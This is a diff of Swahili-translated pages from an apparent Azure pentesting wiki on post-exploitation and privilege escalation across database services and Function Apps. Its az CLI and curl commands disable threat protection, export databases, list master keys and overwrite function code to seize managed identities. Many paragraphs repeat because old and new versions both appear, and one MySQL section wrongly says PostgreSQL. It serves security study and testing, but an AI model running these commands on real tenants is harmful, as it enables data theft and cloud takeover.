Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kubinafsisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji. Unaweza kuboresha vigezo vifuatavyo kwa pamoja katika kundi: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, na max_connections.
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kupewa kitambulisho cha usimamizi kilichoteuliwa na mtumiaji kwa seva za MySQL flexible.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kupeana utambulisho wa usimamizi wa mtumiaji kwa seva za MySQL zinazoweza kubadilishwa.
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
### `Microsoft.DBforMySQL/flexibleServers/start/action`
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
### `*/delete`
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
+16
-43
@@ -5,54 +5,40 @@
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu PostgreSQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda databasi mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda databasi nyingi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya ndani ya mfano wa Postgres Flexible Server kwenye Azure. Ingawa kitendo hiki mwenyewe hakibadilishi rasilimali zilizopo, kuunda hifadhidata nyingi au zisizoidhinishwa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa muhimu kwa kuhifadhi data katika maeneo maalum ya wakati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa na manufaa kwa kuhifadhi data katika wakati maalum.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vya uwezekano.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vinavyoweza kutokea.
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kudhibiti ni anwani zipi za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa Postgres Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
### `*/delete`
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
|
||||
+11
-11
@@ -10,9 +10,9 @@ Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha databasi ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumwezesha mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya databasi, au kuingiza milango ya nyuma kwa ajili ya kudumu zaidi, ambayo inaweza kuharibu shughuli au kuwezesha vitendo vingine vya uhalifu.
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha databases ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumwezesha mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya database, au kuingiza backdoors kwa ajili ya kudumu zaidi, ambayo inaweza kuathiri shughuli au kuwezesha vitendo vingine vya uhalifu.
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -20,9 +20,9 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
|
||||
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha elasticPools ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumruhusu mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya hifadhidata, au kuingiza milango ya nyuma kwa ajili ya kudumu zaidi, ambayo inaweza kuathiri shughuli au kuwezesha vitendo vingine vya uhalifu.
|
||||
Kwa ruhusa hizi, mshambuliaji anaweza kuunda na kusasisha elasticPools ndani ya mazingira yaliyoathiriwa. Shughuli hii ya baada ya unyakuzi inaweza kumwezesha mshambuliaji kuongeza data mbaya, kubadilisha mipangilio ya hifadhidata, au kuingiza milango ya nyuma kwa ajili ya kudumu zaidi, ambayo inaweza kuathiri shughuli au kuwezesha vitendo vingine vya uhalifu.
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
@@ -40,7 +40,7 @@ az sql elastic-pool update \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kubadilisha au kuwezesha mipangilio ya ukaguzi kwenye Azure SQL Server. Hii inaweza kumruhusu mshambuliaji au mtumiaji aliyeidhinishwa kubadilisha usanidi wa ukaguzi, ambayo inaweza kuficha alama au kuelekeza kumbukumbu za ukaguzi kwenye eneo chini ya udhibiti wao. Hii inaweza kuzuia ufuatiliaji wa usalama au kuwezesha kuendelea kufuatilia vitendo. KUMBUKA: Ili kuwezesha ukaguzi kwa Azure SQL Server ukitumia Blob Storage, lazima uunganishe akaunti ya hifadhi ambapo kumbukumbu za ukaguzi zinaweza kuhifadhiwa.
|
||||
```bash
|
||||
@@ -51,7 +51,7 @@ az sql server audit-policy update \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
|
||||
|
||||
Kwa ruhusa hii, unaweza kubadilisha sera za muunganisho za Azure SQL Server. Uwezo huu unaweza kutumika kubadilisha au kubadilisha mipangilio ya muunganisho ya kiwango cha seva.
|
||||
```bash
|
||||
@@ -60,9 +60,9 @@ az sql server connection-policy update \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
### `Microsoft.Sql/servers/databases/export/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kusafirisha database kutoka kwa Azure SQL Server hadi akaunti ya hifadhi. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha data nyeti kutoka kwa database kwa kuisafirisha hadi mahali wanadhibiti, na kuleta hatari kubwa ya uvujaji wa data. Ni muhimu kujua funguo za hifadhi ili uweze kufanya hivi.
|
||||
Kwa ruhusa hii, unaweza kusafirisha database kutoka kwa Azure SQL Server hadi akaunti ya hifadhi. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha data nyeti kutoka kwenye database kwa kuisafirisha hadi mahali wanapodhibiti, na kuleta hatari kubwa ya uvujaji wa data. Ni muhimu kujua funguo za hifadhi ili uweze kufanya hivi.
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
@@ -74,9 +74,9 @@ az sql db export \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
### `Microsoft.Sql/servers/databases/import/action`
|
||||
|
||||
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha database zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kudhibiti data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyohamishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
|
||||
Kwa ruhusa hii, unaweza kuingiza database kwenye Azure SQL Server. Mshambuliaji au mtumiaji aliyeidhinishwa mwenye ruhusa hii anaweza kuhamasisha databases zenye madhara au zilizobadilishwa. Hii inaweza kusababisha kudhibiti data nyeti au kwa kuingiza scripts au triggers zenye madhara ndani ya database iliyounganishwa. Zaidi ya hayo, unaweza kuingiza kwenye seva yako mwenyewe katika azure. Kumbuka: Seva lazima iruhusu huduma na rasilimali za Azure kufikia seva hiyo.
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
|
||||
--resource-group <resource-group-name> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -5,15 +5,13 @@
|
||||
## CosmosDB Privesc
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-services/az-cosmosDB.md
|
||||
{{#endref}}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
|
||||
|
||||
Kwa ruhusa hizi unaweza kupandisha hadhi kwa kumpa mtumiaji ruhusa za kutekeleza maswali na kuungana na database. Kwanza, jukumu la ufafanuzi linaundwa likitoa ruhusa na mipaka inayohitajika.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Baada ya hapo, ugawaji wa ufafanuzi unatolewa kwa mtumiaji. Baada ya hii, mtumiaji huyo anaweza kutumia njia ya muunganisho ya DefaultAzureCredential() kutekeleza maswali.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
Kwa ruhusa hii, unaweza kupata funguo za msingi na za sekondari za akaunti ya Azure Cosmos DB. Funguo hizi zinatoa ufikiaji kamili kwa akaunti ya database na rasilimali zake, zikiwezesha vitendo kama vile kusoma data, kuandika, na mabadiliko ya usanidi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
Kwa ruhusa hii, unaweza kupata funguo za msingi na za pili za akaunti ya Azure Cosmos DB. Funguo hizi zinatoa ufikiaji kamili kwa akaunti ya hifadhidata na rasilimali zake, na kuwezesha vitendo kama vile kusoma data, kuandika, na mabadiliko ya usanidi.
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+51
-60
@@ -12,24 +12,24 @@ Angalia ukurasa ufuatao kwa maelezo zaidi:
|
||||
|
||||
### Bucket Read/Write
|
||||
|
||||
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi, inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyoainishwa) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
|
||||
Kwa ruhusa za kusoma kontena ndani ya Akaunti ya Hifadhi inayohifadhi data za kazi inawezekana kupata **kontena tofauti** (za kawaida au zenye majina yaliyowekwa awali) ambayo yanaweza kuwa na **msimbo unaotekelezwa na kazi**.
|
||||
|
||||
Mara tu unapopata mahali ambapo msimbo wa kazi uko, ikiwa una ruhusa za kuandika juu yake, unaweza kufanya kazi itekeleze msimbo wowote na kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na kazi hiyo.
|
||||
Mara tu unapopata mahali ambapo msimbo wa kazi umehifadhiwa ikiwa una ruhusa za kuandika juu yake unaweza kufanya kazi itekeleze msimbo wowote na kupandisha mamlaka kwa vitambulisho vilivyojumuishwa na kazi hiyo.
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` na `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha, inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha hadhi kwa utambulisho unaosimamiwa ulioambatanishwa na Kazi.
|
||||
Msimbo wa kazi kwa kawaida huhifadhiwa ndani ya file share. Kwa ufikiaji wa kutosha inawezekana kubadilisha faili ya msimbo na **kufanya kazi ipakue msimbo wowote** ikiruhusu kupandisha mamlaka kwa vitambulisho vilivyojumuishwa na Kazi.
|
||||
|
||||
Njia hii ya kutekeleza kawaida huweka mipangilio **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** na **`WEBSITE_CONTENTSHARE`** ambazo unaweza kupata kutoka 
|
||||
Njia hii ya kutekeleza kawaida huweka mipangilio **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** na **`WEBSITE_CONTENTSHARE`** ambazo unaweza kupata kutoka
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Mikakati hiyo itakuwa na **Mfunguo wa Akaunti ya Hifadhi** ambao Kazi inaweza kutumia kufikia msimbo.
|
||||
Mikakati hiyo itakuwa na **Storage Account Key** ambayo Function inaweza kutumia kufikia msimbo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kwa ruhusa ya kutosha kuungana na File Share na **kubadilisha skripti** inayotumika, inawezekana kutekeleza msimbo wowote katika Kazi na kupandisha ruhusa.
|
||||
> Kwa ruhusa ya kutosha kuungana na File Share na **kubadilisha skripti** inayotumika, inawezekana kutekeleza msimbo wowote katika Function na kupandisha ruhusa.
|
||||
|
||||
Mfano ufuatao unatumia macOS kuungana na file share, lakini inashauriwa pia kuangalia ukurasa ufuatao kwa maelezo zaidi kuhusu file shares:
|
||||
|
||||
@@ -49,7 +49,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
|
||||
Ni kawaida pia kupata **zip releases** ndani ya folda `function-releases` ya kontena la Akaunti ya Hifadhi ambayo programu ya kazi inatumia katika kontena **ambalo kwa kawaida linaitwa `function-releases`**.
|
||||
|
||||
Kwa kawaida, njia hii ya kutekeleza itapanga `WEBSITE_RUN_FROM_PACKAGE` config katika:
|
||||
Kwa kawaida, njia hii ya kutekeleza itapanga config ya `WEBSITE_RUN_FROM_PACKAGE` katika:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
@@ -62,7 +62,7 @@ Hii config kwa kawaida itakuwa na **SAS URL ya kupakua** msimbo kutoka kwa Akaun
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Kama ilivyo katika kesi ya awali, ikiwa uhamasishaji unafanywa kupitia Github Actions inawezekana kupata folda **`github-actions-deploy`** katika Akaunti ya Hifadhi inayoshikilia zip ya msimbo na SAS URL kwa zip katika mipangilio `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Kama ilivyo katika kesi ya awali, ikiwa usambazaji unafanywa kupitia Github Actions inawezekana kupata folda **`github-actions-deploy`** katika Akaunti ya Hifadhi inayoshikilia zip ya msimbo na SAS URL kwa zip katika mipangilio `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` na `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
Ni possible pia kupata **funguo za master na functions** zilizohifadhiwa katika akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON unazoweza kupata ndani.
|
||||
Ni pia inawezekana kupata **funguo za master na functions** zilizohifadhiwa katika akaunti ya hifadhi katika kontena **`azure-webjobs-secrets`** ndani ya folda **`<app-name>`** katika faili za JSON unazoweza kupata ndani.
|
||||
|
||||
> [!CAUTION]
|
||||
> Kwa ruhusa ya kutosha kuungana na kontena la blob ambalo **linabeba msimbo katika faili la nyongeza ya zip** (ambalo kwa kweli ni **`squashfs`**) inawezekana kutekeleza msimbo wowote katika Function na kupandisha ruhusa.
|
||||
@@ -116,13 +116,13 @@ az storage blob upload \
|
||||
--file /tmp/scm-latest-<app-name>.zip \
|
||||
--overwrite
|
||||
```
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Ruhusa hii inaruhusu kuorodhesha funguo za kazi, funguo kuu na funguo za mfumo, lakini si funguo za mwenyeji, za kazi iliyotajwa kwa:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
Kwa funguo kuu pia inawezekana kupata msimbo wa chanzo katika URL kama:
|
||||
Na funguo kuu, pia inawezekana kupata msimbo wa chanzo katika URL kama:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### Microsoft.Web/sites/functions/listKeys/action
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
Ruhusa hii inaruhusu kupata funguo za mwenyeji, za kazi iliyotajwa na:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
Ruhusa hii inaruhusu kuunda/update funguo za kazi za kazi iliyoainishwa na:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Ruhusa hii inaruhusu kuunda/update funguo kuu kwa kazi iliyoainishwa na:
|
||||
```bash
|
||||
@@ -164,15 +164,15 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba kwa funguo hii unaweza pia kufikia msimbo wa chanzo na kuubadilisha kama ilivyoelezwa hapo awali!
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
